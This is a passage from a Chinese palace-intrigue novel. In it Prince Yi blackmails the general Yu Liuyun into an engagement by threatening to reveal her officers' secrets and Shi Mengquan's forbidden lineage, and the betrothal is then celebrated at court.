翼王道:“可以说是,也可以说不是。就现在来看,如果大人答应了我的求婚,我立刻请求皇兄封大人为内亲王,并举荐大人进入议政处,大人要建武备学塾也好,要设立养老税也罢,都好办得多。而将来,以大人的实力,助我掌控大权,我必修改祖宗法制,与大人你同时执政,所谓‘二圣临朝’。大人到时,想改革户部,岂不是易如反掌?” 玉旒云实在不该笑,但还是忍不住笑了出来:“原来王爷有此鸿图大计,还算上我玉某人一份,真是受宠若惊。不过,承蒙王爷错爱,玉某人对现在的地位已经很满意了,高处不胜寒,你那个‘一人之下万人之上’的位子我可没有兴趣,省得留下千古骂名。” “原来大人忌讳千古骂名。”翼王笑得诡异,“不知道一个人为了一己私怨,要连自己的祖国都毁灭,这会不会留下千古骂名呢?” 玉旒云脸色一变。 翼王笑道:“世上从来没有不透风的墙,瞒天过海是更加不可能的。我皇兄娶了朝阳公主,因此保住了你们姐妹的性命,我来娶你素云公主,一,可以保住你的名声,二,可以帮你报仇,三,还可以一统天下,开创我大樾国千秋基业,不是正合适吗?” 玉旒云瞪着他:这人,真是处心积虑! “怎样?”翼王偏过头来,看着她。 玉旒云只是冷笑:“王爷可真会替我着想。” “既然要做盟友,我替自己设计的时候也要替大人有所计划。”翼王道,“如果只对我有利,却帮不了大人,这就不叫合作了——三皇叔拉拢大人的时候,没有开出我这么好的条件吧?大人若帮他登上王位,到头来还是他的奴才。况且,他无论如何都名不正言不顺,只会更加损害大人的名声。将来他忌惮起大人来,一样会把大人的身世公诸天下。大人帮他,就是为他人做嫁衣裳。” 既然翼王筹谋已久,他晓得赵王要造反的事也一点儿都不奇怪。玉旒云冷冷道:“赵王爷名不正言不顺,难道王爷就是该当的?” “是否‘该当’,要看你怎么说了。”翼王道,“王位继承人要出于皇室,又要以能者居之,这才可以率领群臣,富国强兵,永治天下。三皇叔虽然是一世英雄,但是勾结蛮族。他连年在北疆‘抗敌’,实际私养兵队,囤积粮草。蛮族可汗跟他称兄道弟,蛮族公主博西勒,也就是当今容贵妃,和永泽公悦敏早就定了婚——如果三皇叔以武力抢到了王位,那跟卖国也没什么两样。我就不同了,皇兄只有我这一个亲弟弟,太宗皇帝的儿子也就只剩我和我皇兄两人。兄终弟继,顺理成章。” “兄终弟继?”玉旒云冷笑道,“那么当今皇太子又要如何?” “皇太子?”翼王笑笑,“大人的外甥坐不坐得稳这个太子之位还是后话——我皇兄现在为了绑住大人,让你全心为他卖命,所以立了元德为太子,将来,三皇叔倒台,楚国灭亡,天下大定,他用不着大人的时候,他还不是有他自己的考量?” 玉旒云愣了愣,什么“功高震主”、“飞鸟尽,良弓藏”之类的话她听得多了,但是她自信多年来已经摸透了庆澜帝的脾气,这个老好人只是想做个太平天子,但求别人不要算计他,要他去算计别人,他是既没有这个心,也没有这个本事。翼王怎么有此一说? 翼王伸指在茶壶上轻轻一弹,力道刚好,茶壶就滴溜溜在原地转了个圈儿:“你在我皇兄身边十七年了,而我从出生到现在整整二十六个年头,我认识他的时间岂不比你长?而我对他的所知也比你多得多。”说着,他又按住了茶壶,看定了玉旒云道:“你看我平时是个花花公子成事不足、败事有余,所以对我从来没什么提防。为何不想想我是从何学来这一套的?仁宗年腥风血雨,多少文武兼备又广结党羽的皇子都命丧黄泉,成年皇子中唯独我那终日关起起门来和你姐姐弹琴下棋的皇兄屹立不倒,这不是很奇怪吗?” 往事一幕幕飞快地划过玉旒云的脑海。如果是赵王来和他说这一席话,她连半句也不会听信,但是翼王也能从纨绔子弟摇身一变成为野心家,世上还有什么不可能、不可信之事?而世上还有几个可信之人?但正是因为翼王狼子野心觊觎王位,他的话更不能全信。玉旒云因而不露声色,静静地坐着。 翼王朝后靠在椅子里,抱着两臂,道:“有许多往事我今日不能一件件讲给你听,况且若你不信我,说给你听也没有用。人不为己,天诛地灭,这一句话是至理名言。我是为了我自己,而你若是为了自己和你姐姐将来考虑,也应该和我联手。” 玉旒云虚眼看着她,依然不答话。 翼王道:“就看眼前的形势,皇兄要你对付三皇叔,却不肯让你掌握大权,因此你在朝廷里绑手绑脚,处处被悦敏牵制;三皇叔又掌握了你的秘密,要你帮他造反。看起来是两边都要拉拢你,实际上是两边你都不能得罪。你非要联合一股意想不到的力量,异军突起,才能打破僵局。而我就是这股力量。你和我订婚,既是一个好烟幕,又可以给你想要的地位,你借此替皇兄铲除了三皇叔,然后调转头来,趁他还不能制住你的时候,逼他将王位让给我。你就可以高枕无忧,永除后患。” “哼,我的好烟幕?”玉旒云冷笑道,“是王爷你的好烟幕还差不多。皇上大概做梦也没想到他有这样一个好弟弟。他一心想要牵这条红线,却不想是把红线往自己的脖子上勒——话又说回来,照你的说话,我保皇上没有好结果,我保赵王也没有好果子吃,难道我帮你造反就不会落得身败名裂的下场?” 翼王笑道:“我要说我倾慕你舍不得害你,你大概会扇我两个耳光,所以我也就省了跟你开玩笑,自找苦吃。我是天潢贵胄,谋略学识决不在我皇兄或者三皇叔之下。只可惜命运弄人,让我做了母后的幼子。我虽然结交了一些能人异士,不过却没有办法像赵王那样招兵买马,否则引起我皇兄的怀疑就功亏一篑。你就和我不同,你藏着不可告人的身世,却在明处手握兵权,可以公然招募战将和谋臣。我如果没有你的支持,是不可能登上皇位的。而你如果不借助我得到一个正正当当清清白白的身份,你也很难继续在樾国立足。我们俩岂不是绝配么?就算将来我登上了王位,我们的异己全都铲除,谋臣战将都是你一手带出来的,我要害你,谁能答应?而你若想取代我,以一个女子的身份君临天下,也是不可能的。所以,你跟我联手,绝对不会身败名裂,而会名垂青史。” 听到这样的话,玉旒云又在翼王身上看到段青锋的影子了。“流芳百世还是遗臭万年,这都是史官的事。”她道,“不是靠王爷你想当然的——有一句话你说的很对,人不为己,天诛地灭。正是要为我自己,为我姐姐和太子殿下考虑,我才不能听信你这些天花乱坠之辞。你说什么往事不能讲给我听,我看关于皇上的一切都是你编造出来的。想故弄玄虚引我上当,我玉旒云还不是三岁孩童。看来你的确是养了一些能人异士,你武功比我好,算是我低估了你。好,既然你本事如此高,有本事就在这里将我杀了,我倒看你怎么和皇上交代。我却是不会跟你同流合污的。” 翼王瞪着她,仿佛想用目光将她钉在原地似的,但玉旒云冷静得如同一尊冰雕,丝毫也不回避他的目光。翼王终于笑了起来:“我并不是好色之徒,不过,不管你信不信,我还是很倾慕你。我就喜欢你这种胆色的魄力。” 玉旒云不搭腔,连轻蔑之色都不屑流露。 “除了胆色和魄力之外,你一个女人能够指挥千军万马,也是很讲义气的吧?”翼王笑意更深,更冷,“我有几件掌故想告诉你,你一定会感到非常有意思——你的前锋营督尉赵酋在昔日西京护军中的时候曾经不安本职,想要贿赂禁军统领进宫当差,依军法,行贿受贿都是斩刑。” 赵酋?玉旒云知道这个人有些急功近利,但是实战经验丰富,勇猛凌厉,也算是个人才——军法虽有明令,但是赵酋当护军是仁宗年间的事,应该不会被追查。所以她冷冷听着,不置可否。 翼王又道:“你的骁骑营督尉陈灏在入伍之前曾经和家乡翠竹镇某富商的未婚妻私奔,被发现之后,混乱中陈灏误伤了那个女子,后来那女子竟不治身死,所以他成了杀人犯,被通缉,后来改换姓名参军逃罪,机缘巧合才来到了大人的麾下。现在翠竹镇那里还依然在缉拿这个叫做郑豪的犯人呢。” 还有这种事?玉旒云皱了皱眉头。 翼王好像个说书先生,接着讲下去:“你的得力部下,新任东海三省总兵罗满,是一个难得的孝子。不过他爹是个赌徒,欠了一屁股的债。罗满不停地用自己的俸禄替他爹还债,而他爹就越欠越多。债主追上了门要拉罗满的妹妹去妓院,又要将他爹的手脚都砍掉。罗满这个大孝子就向户部借银子——当然,向户部借银子的官员多的是,罗满跟他们比起来简直就是不值一提。可是,大人一旦施行养老税金,让户部的人不开心,他们当然先找你的爱将下手清查亏空了。” 罗满家里有此隐情,怎么梦泉和我都不知道?玉旒云暗道,他还能欠多少?我且替他都填上。 “这还都不算什么。”翼王道,“下面要说的这个,大人一定最爱听——我大樾太祖皇帝起兵,开始与他并肩作战的有他的结义兄弟舒鹰。不过,獠城之役后,兄弟反目,舒鹰带着人马出走。后来他的力量也不断壮大,成了太祖皇帝最大的敌人。然而太祖皇帝在金台城巧计包围了舒鹰,终于将他烧死在城上。据说舒鹰临死时诅咒太祖皇帝,说将来自己的后人一定会来复仇,将所有的一切加倍奉还。太祖虽然不信鬼神,但还是下令将舒鹰的家人赶尽杀绝。而且,留有遗训,任何与舒鹰有关的人,不得入朝为官,也不得参军,更不能带兵。可是老天偏偏喜欢开玩笑。舒鹰的四个儿子都跟他一起死在了金台,他的孙子、孙女也都被杀尽。偏偏他的小儿媳带着遗腹子逃脱升天,一直来到了南方,改嫁他人。舒鹰的这个硕果仅存的孙子自然也就跟了继父姓。而他的名字就叫做石梦泉。” “你胡说!”玉旒云这次无法保持冷静,拍案而起,“居然编造出如此荒谬的故事!我看你之前说什么赵酋、陈灏和罗满的事,也没一件是真的!” 翼王看到她这样的反应,笑了:“之前那三件事是真是假,我的确没有查证过,是我从三皇叔的《百官册》上看来的。而石将军的身世事关重大,掉脑袋的事,我怎么敢胡说?石梦泉的母亲姓王,宫女的册子上记载她的名字叫王宛林,而舒鹰的小儿媳名叫林琬,是舒鹰的众媳妇中唯一一个中原书香世家的小姐。她原籍是丰州。估计她当时从金台城逃出来是先回到了家中,但是躲不得多久,害怕连累家人,就继续逃亡。她一个千金小姐,又有身孕,行动不便。她的丫鬟林秀兰和马夫林秀石一路协助,林琬才能够到达南方。林家为了表彰这两个义仆,认了他们做义子、义女。为了摆脱追兵,林琬将名字倒过来写,成了王宛林,而林秀石也将就以名为姓,改叫石秀林,而他妹妹也就改名为石秀兰——这也正是石梦泉的姑姑在宫中登记的名字。如果现在去南方找到石梦泉继父的墓碑,上面写的是石秀林。至于石梦泉自己的名字有何来历——舒鹰的四子名叫舒权,‘泉’‘权’谐音,再明显不过了。” “王爷可真是高明!”玉旒云不待他继续说下去,就狂笑了起来,“旁人只是颠倒黑白,你却非要将人家祖宗几代的名字都颠倒过来念,还真让你把死的也说成了活的!” 翼王淡淡道:“大人尽管笑吧。小王也不是没事找事非要翻出石将军家里人的名字来大做文 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玉旒云仔细地想了想,似乎的确如此,记忆里没有哪一年八月廿四夜大放焰火的时候王氏和石氏是陪在玉朝雾身边的。不过女官们假期难得,都会挑在特别的时日告假。正巧是八月廿四也没什么稀奇。 翼王道:“庆澜元年,自从大人从落雁谷归来之后,就频频跟我斗气,皇嫂操心太多,八月里犯了头疼的毛病,因此王嬷嬷和石嬷嬷没有告假,八月廿四那天,她们都在宫中。可是,晚上放焰火的时候他们又不在——本来我也没有留意到,后来席间皇嫂看到有八珍乳鸽,就说要赐给王嬷嬷,还解释说王嬷嬷这天眩晕卧病在床,石嬷嬷留下照顾她,所以两人难得留在宫里也不能来看焰火。大人当时自告奋勇要立刻就把八珍乳鸽亲自送到凤藻宫去——大人可记得么?” 天长日久,玉旒云只有个模糊的印象——当时石梦泉还在南方七郡未归,自己正忙着计划次年的大青河之战,连漫天的绚烂的焰火都记不清了,何况这种琐事? 翼王道:“当时我说我要陪大人一起去。而大人就翻了脸,说,如果我想去,就一个人去。我说出了话不能反口,只好来到了凤藻宫。”他描述得如此细致,就好像要把玉旒云带回三年前一样:“太监、宫女都在院子里,皇嫂已赏他们开了一席,一边吃酒一边看焰火。我叫他们不必理会我,且把自己的长随也留在席上,一个人朝后头走。穿到后花园时,我看有一点火光,稍走近了,就见到石嬷嬷正偷偷烧纸钱,旁边原本应该卧病在床的王嬷嬷则边哭边念念有词。这是何等的大罪,就算是在民间,如果被人告发也会充军发配,何况是在宫里呢?我就悄悄到跟前去探个究竟。以我的身手,她二人当然发觉不了。我听出王嬷嬷是在祭奠她丈夫的全家,又讲到什么二十四年前的仇恨,而石嬷嬷就称她为‘小姐’,又说:‘小少爷如今出息,姑爷和亲家老爷在天之灵一定很安慰。’王嬷嬷听了,道:‘同你说了多少年了,不要叫我小姐。当初如果不是你和秀石,我哪里还有命在?而舒家的一点血脉又如何能保存下来?’我听她们提到‘舒家’就感觉其中大有问题。事后一调查,竟是这样一桩惊天的大秘密。” 他说到如此,玉旒云也信了一半,但嘴里依然道:“你不过听了人家几句话,就断章取义,然后把人家的名字拿来乱套,分明是巧合的事情,也被你硬说成天理。简直荒谬!” 翼王道:“无巧不成书,那说的是评书,是传奇。现实中可没有这么巧的事。况且,太祖皇帝把舒家人斩尽杀绝,其中枉杀的有多少,他老人家可没有在乎过。如今莫说石梦泉就是舒鹰的孙子,哪怕只有一成的可能,他也一定性命不保。” “你敢动他——”玉旒云不顾翼王的身手非凡,“唰”地拔出剑来,直架到他的脖子上,“我就杀了你,反正这里反贼多的是,随便找一个来做替罪羊就好了。万岁如果知道你图谋不轨,说不定连追究都懒得!” 翼王微微一笑:“那你也要杀得了我呢!”他的动作看起来如此从容,但迅速到别人来不及反应。手指在剑身上轻轻一敲,玉旒云立刻被震得虎口生疼,还未应付,剑已经脱了手。寒光一晃,利刃易主。换翼王用剑逼着玉旒云的颈项:“大人开始不是说,要我有本事就在这里把你杀了么?看来你还是不大信我的本事,所以叫你见识一下。” 玉旒云面色铁青:“好,我见识到了。你杀吧。” 翼王摇摇头,走近了一步,将剑插回她的剑鞘中:“大人是我重要的盟友,我怎么会杀大人呢?而且大人不要担心,如果你是我的盟友,你的手下爱将们也都是我的盟友。如果我有心害他们,根本就不会把这些故事说给大人听,早就不声不响假手于人将他们除掉了。” 满怀愤怒和不甘,玉旒云死死地瞪着他。 翼王慢条斯理:“我觉得大人还是应该好好考虑一下我的提议,跟我结盟,毕竟这是对大人,和大人的爱将们都有利的一笔交易。” “你妄——” 玉旒云还没说完,已经被翼王捏住了下巴:“不要急着回答我。大人什么都好,就是有一个缺点,别人一触到你的痛处,你就完全不思考了,简直跟别的女人没两样。不过,没关系。你不是在大牢里养了一个很厉害的谋士么?你去找他商量商量。也许就会有更好的答案了。” 郭罡?这么性命攸关的事情,又有这许多不可告人之处,怎么能够和郭罡说?玉旒云捏紧了拳头,深悔自己一时大意,着了翼王的道儿。不过,翼王那句话也骂醒了她,越是性命攸关寻不着出路的时候就越是要冷静,要好像在战场上一样。 她于是狠狠地咬着嘴唇,直到尝到血的咸味,盛怒的头脑才冷却了下来:翼王潜伏筹划了这么久,自己就算没有失察,也早就被他算计好了。他敢摊牌,显见着手中有足够的筹码,如果不把他稳住,自己和石梦泉以及许多人都会有危险。倘若哄住了他,一则可以度过眼前的危机,二则可以消灭赵王,三则可以加强自己在朝中的权势,果然不是折本的交易。但是,为了这些,要嫁他为妻,实在也…… “怎样,大人要去见见你那背后高人么?”翼王阴阴地问。 就算不去问郭罡,也得设法从这拷问室里脱身,玉旒云想,否则翼王动起武来,自己决讨不到什么好处。 “你这样捉着我,我可以去么?”玉旒云冷冷的。 翼王笑了,松开手:“抱歉,大人请——”说时,亲自给玉旒云开了门。 玉旒云本怕他紧紧跟着,但见他站在拷问室里并不动,心里稍稍松快了些,又刺他一句:“怎么,你不怕我一去不回?” “不怕。”翼王道,“跑得了初一,跑不了十五,跑得了和尚,跑不了庙。” “哼!”玉旒云丢给他一个白眼,其实心里明白,他说的一点儿也不错。自己就算离开了他的视线,走出了刑部大牢,也实际无处可去。 怎么会这样?她的步子既疾且乱,早在十七年前,她发誓要灭亡楚国的时候,同时也发誓从今以后要保护自己,保护姐姐,决不再让人将她逼到走投无路的境地。这么多年来,她流血流汗,半壁江山也被她打了回来,为什么赵王、翼王,这些人仿佛动了动小手指,就又要将她逼进死角?简直就像是一个修炼了多年的妖精,遇到了道行高的道士,立刻就被打回了原形。 她的手不知不觉已经摸在剑柄上,有一种冲动,就像十七年前在庆王府花园拔剑劈砍花木一般,她现在也想随便将挡在自己面前的事物摧毁发泄。可偏偏,她一路行来,什么也没有撞上。灯火被白亮的天光所取代。她还是走到了郭罡的囚室旁边。 郭罡听到人声已经猜到是玉旒云去而复返,而且更猜到他们之前的谈话被翼王听了去。他方才已经在思考对策。这时立刻站起身来:“大人——” 玉旒云始终是不肯在郭罡面前示弱的,所以在走到他的囚笼之前已经深身吸了一口气,恢复了往日冷淡的神情。 然而郭罡只打量了她一眼就觉察出不妥:“翼王爷……大人压不住他?” 玉旒云不吭声,算是默认了。 郭罡转了转眼珠子,露出了古怪的表情,非哭非笑,似忧似喜。 玉旒云盯着他道:“你做什么?就不怕他来杀了你?” 郭罡道:“看来他也是个聪明人,至少是个自以为聪明的人。我和大人的关系,想来他早就知道了。如果他想杀我,何必等到今日?” 玉旒云暗道:可不是?你的生死对他一点影响也没有。现在被他要挟的人是我。看到郭罡渐渐又露出了笑容。玉旒云心中才压制下去的怒火又燃了起来:“有什么值得高兴的?” 郭罡道:“没什么。我只是想起一个故事来——有一只野狗很想除掉老虎自己好当山中的大王。但无奈他知道自己无法和老虎单打独斗,所以就整天躲在老虎的必经之路上,研究如何伏击老虎。终于有一天时机成熟,他冲出埋伏,一口将老虎咬伤。这以后他果然当上了耀武扬威的山大王。可惜好景不长,没几日他到树林里觅食的时候,伤愈的老虎猛地从暗处扑出来,一口就结果了他的性命。” 玉旒云瞪着他的笑脸,听他从容不迫地讲这个故事。开始还是有点儿生气,但是后来心中就猛然一亮:翼王靠着装傻充愣在朝中谋生,搜集每一个人的短处,要挟他们为己做事。他就好像那躲在路边的野狗,一旦现身,就再也无法藏匿。从前他在暗,自己在明,如今自己可以转到暗处,好好提防他。将来自然可以一举将他铲除! 只不过,想是这样想,要她答应翼王的求婚,实在还是太勉强。 “大事上放得开手,小事上狠得下心。”郭罡道,“大人若能如此,我看这野狗猖狂不了多久。” “你懂什么!”玉旒云不耐烦地顶了他一句。 “我是不懂。”郭罡道,“而且我看出大人并不想说。我只是觉得以大人的才智和魄力,翼王爷就算是有三头六臂也不能将你怎样——莫非是我看错人?” 玉旒云不欠人奉承。按说她刚刚被翼王在背后摆了一刀,郭罡的这句话应该是莫大的讽刺才对。然而偏偏郭罡将这句话当成激将法来使,玉旒云果然脊背一挺,眼中射出冷光来:不错,翼王算得什么?我不怕与整个楚国的朝廷和军队为敌,你敢如此要挟于我,我他日还不像捏死一只蚂蚁似的捏死你?我今就答应了你的求婚,也不表示你有命真的娶到我。你先得意几天,待我达成了我的目的,就要了你的狗命! 如此一想,她就不再跟郭罡聊下去,转身往拷问室走。 郭罡见她步子虽然快,但是身形很稳,微微笑了笑,又道:“大人,不要忘了,在战略上,最漫长的迂回道路,常常又是达到目的的最短途径。” 玉旒云没有停下,只随便摆了摆手。 待她回到拷问室的时候,翼王正坐在那里喝茶,一脸志得意满的笑容,听到玉旒云进来,就笑得更开心了:“怎样?大人要不要去我家听戏呢?” “听什么戏?”玉旒云道,“你跟我订婚这么大的事,还不立刻进宫去禀报皇上和娘娘?” 翼王站起身来:“大人真比我还心急。”说着,伸手来揽玉旒云的肩膀。 玉旒云一掌格开:“少来——你和我做的是交易,你说了你的条件,我也要说的条件。有一条不答应的,这交易都做不成——你想毁了我,我也可以跟你同归于尽。” 翼王笑了笑:“好,你说。” “第一,我只跟你订婚。”玉旒云道,“楚国不灭,决不完婚。” “好。”翼王一口答应。 “第二,”她接着道,“我们马上去见皇上,你要立即帮我请求内亲王的封号。一个月之内,我要进议政处。” “请求封号是没问题。”翼王道,“答不答应是皇兄的事。进不进得了议政处,也不是我能控制的。” “第三,”玉旒云道,“你说你看过赵王的《百官册》,这本东西是不是落在了你手里?” “倒没有。”翼王道,“要是赵王不见了这本东西,他早就乱了阵脚了。我抄了一本而已。” “好,我要看这本抄本。” “你是我的未婚妻。”翼王抱着双臂笑道,“我有什么不能跟你分享的?你还有什么别的要求么?” 玉旒云道:“没有了。”想了想,又补充:“我们订婚的内情,不会再有别人知道吧?” “大人真的以为我是傻瓜吗?”翼王道,“现在三皇叔拿你当靶子,我可不想出师未捷就先死在他手上。” “那你招募的什么能人异士呢?”玉旒云问。 “该知道的,他们都知道,不该知道,自然就不知道。”翼王道,“我养的狗,我怎么能让他们爬到我头上来?相信大人也不是把什么事都告诉手下的吧?” 玉旒云冷哼了一声,定了决心,不能再回头了。她有一瞬在想,如果石梦泉在身边,会怎样?但是又立刻意识到,他什么也不能改变。因此步出拷问室:“还不进宫去?” “是!”翼王笑着跟了上来。 73. 第 73 章 石梦泉恍恍惚惚来到宫中,一路上想着要加快步子,好阻止一个天大的错误,但同时又不停地放慢脚步,害怕知道一个不可改变的结果。如此,待他来到皇极殿时,圣旨已宣毕,酒宴也摆好。他穿过殿下一大群品级较低的官员,一直走到殿门口让太监通报并请罪。一时庆澜帝就宣他进去,说:“请什么罪?你和玉爱卿亲密无间犹如手足,她的喜事如果少了你,那还叫什么喜事?快快入座吧!” 皇极殿内的座次,一向是王侯公卿在上,一品和从一品官员在下。在这样正式的场合,石梦泉素不曾和玉旒云坐在一起。这天他抬眼看看,见玉旒云身边坐着满面笑容的翼王,一刹那,感觉这距离更加远了。而翼王还偏偏笑道:“石将军,你和玉大人亲如手足,那也就和小王仿佛兄弟——皇兄,让石将军坐在臣弟和玉大人这边,如何?” 庆澜帝笑笑:“好。要紧是大家高兴——”瞥了一眼面上全无喜色的玉旒云,他又加了一句:“要紧是玉爱卿高兴……呵呵。” “臣……”石梦泉原想推辞,可是太监们已经积极地张罗起座位来,他只得含混地谢了恩,走过去。落座之后不敢看自己上首的玉旒云,只扫了一眼对面——是赵王和悦敏父子两,都带着万分古怪的神气。他不禁愈加烦乱:到底是什么原因呢? 然而在整个酒宴的过程中,他没有开口询问的机会。说是公布喜讯,和京师内外的武官、兵部官员以及玉旒云的其他同僚共乐,但乐的似乎除了翼王之外,只有一些品级极低,全然不知朝中形势的小官,其他人都带着或拘谨或客套甚至不怀好意的假笑,所有低声的交谈都在揣测石梦泉心中想问的那个问题:玉旒云怎么会做这种决定? 终于撑过了食不知味的一个时辰,庆澜帝先退了席。众人恭送了他,也开始相互道别。石梦泉一直等到不相关的人全离开了,而翼王又“恰好”告了更衣,才终于低声对玉旒云道:“大人……”然而他只得机会说出这两个字,赵王和悦敏已经似笑非笑地走了过来:“恭喜,恭喜——玉大人既得佳婿又进官爵。嫁给王爷却不称王妃而是封为内亲王的,别说我大樾建国以来是头一桩,就算是开天辟地以来,玉大人也是第一人吧?” 玉旒云自顾自饮着残酒,并不搭理。石梦泉却是心中一闪:内亲王!莫非她真是为了得到这个爵位,为了进入议政处?可现在朝中的形势还没有那么急迫,要对付赵王总有别的方法,何必如此?他转头看着玉旒云。玉旒云只自斟自饮。 伺候的太监发觉气氛明显有些不对,避讳偷听主子们谈话,远远地躲到一边去了。 悦敏便阴阴地道:“以前我一直佩服大人是‘女中豪杰’,今日看来,大人为达目的不择手段,其实和男人也没什么两样。” “永泽公的这句话应该是恭维我了?”玉旒云从上午就一直憋着的一口气,这时既然无闲人偷听,她终于找了个机会发泄:“究竟是恭维我还是骂我,今天我也不和你计较。不过请你不要忘记了,方才皇上已经有口谕,隔日就明发上谕。我成为内亲王之后爵位可比你高。请你跟我说话还是注意一下身份。” “你……”悦敏没想到她说出这么直接的话,被刺得一愣。 毕竟赵王老辣些,淡淡笑着:“年轻人,路是自己选的,是生是死也就都是自己选的。本王的年纪比你大,爵位比你高,总有资格教训你这句话吧?当然,我知道你不喜欢人家教训,那就听听你这个好朋友的建议——他向日是怎么待你的,你总知道。你如今却怎样待他?” 石梦泉“倏”地站了起来:“王爷——”他打断了赵王的话。虽然有些事他很想玉旒云能知道,但是又分明地感觉,一旦她知道,就都结束了。 “咦,皇叔,永泽公,你们还没走?正好,正好——”翼王转了进来,笑嘻嘻扰乱了那紧张的气氛,“外人都见完了,家里人还没招呼到呢。我们这就要到慈宁宫去。你们也一道来?” 赵王和悦敏互望了一眼:“那么晚了,不必了吧?宫门就要落钥了。” “晚么?”翼王顾作惊讶地看看众人,“大喜事,还不能例外的?刚才这样正经八百的哪儿能尽兴?非得自家人在一起,才能不醉无归嘛!”说着揽住玉旒云的肩膀,道:“玉大人,你说是不是?” 玉旒云恨不得把他的手剁下来,然而当着赵王的面又不可露出破绽,只有强压怒火,挤出一声:“是。” 赵王看得分明,露出一丝冷笑。悦敏则出言讽刺道:“看来是皇天不负有心人,翼王爷和玉大人的关系当真一夜之间有突飞猛进的发展。不过,你怎么还是称她作‘大人’呢?应该把称呼改一改,才显得亲密嘛!” “这个……”翼王嘿嘿笑道,“我叫惯了,一时也改不过来。况且,玉大人和寻常女子怎么相同?她是天下间独一无二人物,在朝中,她是领侍卫内大臣,又将是内亲王,那是当之无愧的‘大人’。今后在王府之中,她更是我的‘老婆大人’。别人家里男主外女主内,我自认主什么都没有玉大人的本事大,所以将来我家里必然由老婆大人主外,管家主内,哈哈,我就逍遥自在,快活似神仙啦!” 这一席不三不四的话听得赵王父子直皱眉头。不过翼王的荒唐纨绔是出了名的,他们也不好说什么。如今的情势,玉旒云明显是争取不过来的了,石梦泉虽然未知,但希望也不大。他们还有很多正经事需要计划,无谓在这里浪费时间。于是赵王道:“你这话说得真是风趣,却也很有道理。本王家里也有‘老婆大人’,如果跟你‘不醉无归’,回去可没法交代。你还是不要害我了吧!” “啊?”翼王搔了搔脑袋,“那么永泽公家里可没有‘老婆大人’呢——” “母亲大人却是有的。”悦敏也推辞。 “那好。”翼王作出仿佛有些扫兴的样子,跟赵王父子拱手道别,同时又来拉石梦泉,“石将军家里什么‘大人’也没有,一定要跟着来了。你和玉大人情同手足,岂不就是我的大舅爷么?非来不可!非来不可!” 石梦泉本来就想找机会向玉旒云问个明白,便点了点头:“遵命。” 不时,三人一同来到了慈宁宫。皇太后正在正殿中坐着,而庆澜帝和玉朝雾皇后也早就来了。玉朝雾显然是听到这个“喜讯”之后还没有从妹妹口中得到证实,即便圣旨下了,她还是心中不信,看到三人从慈宁花园渡柳穿花而来,就站起了身,疑惑又担忧地望着玉旒云——平日总是玉旒云和石梦泉并肩而来,今日翼王紧紧地粘在玉旒云身侧,而石梦泉就失魂落魄地跟在后面。玉朝雾终于相信这事并非玩笑。看到妹妹满面寒霜,没有丝毫待嫁新娘的喜悦,她心中的担忧更重了。 玉旒云、石梦泉和翼王走到了慈宁宫正殿,一同给太后请安。太后让他们不必多礼,又笑道:“今年的喜事真是特别多,太子出生,静襄也怀了龙裔,现在老十四终于定下性来要取老婆了——干脆拣个日子也把小愉和石将军的事一道给办了,我老太婆可真是死也要笑了!” 新晋封吉嫔的静襄就立在太后的身边,听言道:“老佛爷遇到大喜的事,却说不吉利的话,这怎么行?依臣妾看,偏偏应该把喜事分来办,这就天天有喜事,月月有喜事,年年有喜事,永远也到不了头。多好?” 她如此善解人意,说得太后好不开怀。可是其他人各有各的心事,除了翼王保持着笑脸之外,都乐不起来。庆澜帝首先道:“其实时辰也晚了,十四弟订婚这样的大事,他理当带着未婚妻来跟母后请安。如今安也请过了,玉爱卿、石爱卿明日都还要去衙门里办公,母后也早些休息吧。” 太后道:“急什么?今天这么高兴,想睡也睡不着。皇后——”她转身对玉朝雾道:“你妹妹的婚期虽然还没有定下来,但是你也该多用点心——今天她订婚,却是这样一副打扮,他日拜堂之时若还是这样的装扮,岂不是要叫天下百姓看笑话了么?该穿什么样的吉服,该戴什么样的首饰,你带人打点起来。” 玉朝雾方要回答,翼王已笑道:“母后,天下百姓怎么会看笑话呢?他们眼中的玉大人向来就是这样英姿飒爽的模样,要是穿着裙子带着首饰,那才叫人觉得古怪呢。” 太后愣了愣:“你这小子平时只挂着玩,说的几句话倒也有些道理。算了,你们年轻人的事我老太婆懒得烦心。我知道你们也不喜欢陪着我这老人家——这样吧,叫人上酒来,大家喝一杯,你们爱怎么乐就怎么乐去吧!” 这是懿旨,众人都要遵从。太监宫女便依言取酒来,给各位主子斟上了,太后端起杯子,将饮,又对翼王道:“老十四,你不要怪我这个做娘的罗嗦,人说修身齐家治国平天下——你这身修得如何,我就不说你了,省得下你面子。总算玉大人肯嫁给你,既齐了家,以后要好好帮你皇兄治国、平天下,再要只顾着玩,可不行。” 翼王哈哈笑着,自己先饮为敬,向母亲亮了亮杯底,道:“修身齐家治国平天下,这话适合皇兄,不适合儿臣。就算真要治国、平天下,儿臣的贤妻可比儿臣本领大得多,也一早就在替皇兄东征西讨了,儿臣还是多想些新鲜玩意儿逗老婆大人开心比较实在。” “你只管你老婆大人,竟然不管母后了?”庆澜帝道,“还有我这皇兄呢?你皇嫂呢?” “该打,该打!”翼王真在自己腮帮子上拍了一下,“不过母后、皇兄和皇嫂都知道,臣追玉大人追得可辛苦了。臣今说句大不敬的话,玉大人在臣心目中的地位无人能及,臣将来对她千依百顺,她就是要星星,臣也要给她摘来,嘿嘿……当然,你们也晓得臣没有别的长处,逗人开心却不在话下。有了新鲜玩意儿,先孝敬了老婆大人,接着自然就带进宫来孝敬母后、皇兄、皇嫂。” 听他这样说话,庆澜帝才饮的一口酒也喷了出来。玉朝雾愁云笼罩的脸上亦微微露出点笑容:看来十四弟对妹妹倒是真心。石梦泉则是痴傻痴傻地坐着,不住地将杯中酒一饮而尽——旁人才不过喝一杯,他倒已经五、六杯落了肚。 太后幸而酒还没送到口中,所以才没呛着,忍住笑,道:“这哪里像是要成家立业的王爷说出来的话?你这是要把我老太婆气死么?不管怎么说,你订了婚,以后就要好好在朝廷里做事。我听说议政处那里你一年也难得去转一圈,以后要把这个毛病改了,好好儿做事——别叫你的‘老婆大人’把你比下去了。” “母后——”翼王作出哀求之状,“您就饶了儿臣吧。议政处里成天议论的那些事,儿臣本来就已经一窍不通了,现在永泽公进了议政处,几乎就成了他的‘一言堂’。儿臣更加没事可做了,反正玉大人封内亲王的事明天就明发上谕了。虽然她进议政处还要等众议政王们商量,但就儿臣看,也是迟早的事。不如就让她先顶了儿臣的位,省得浪费了议政处的一个位子,也省得浪费了玉大人这样一个大好人才……” 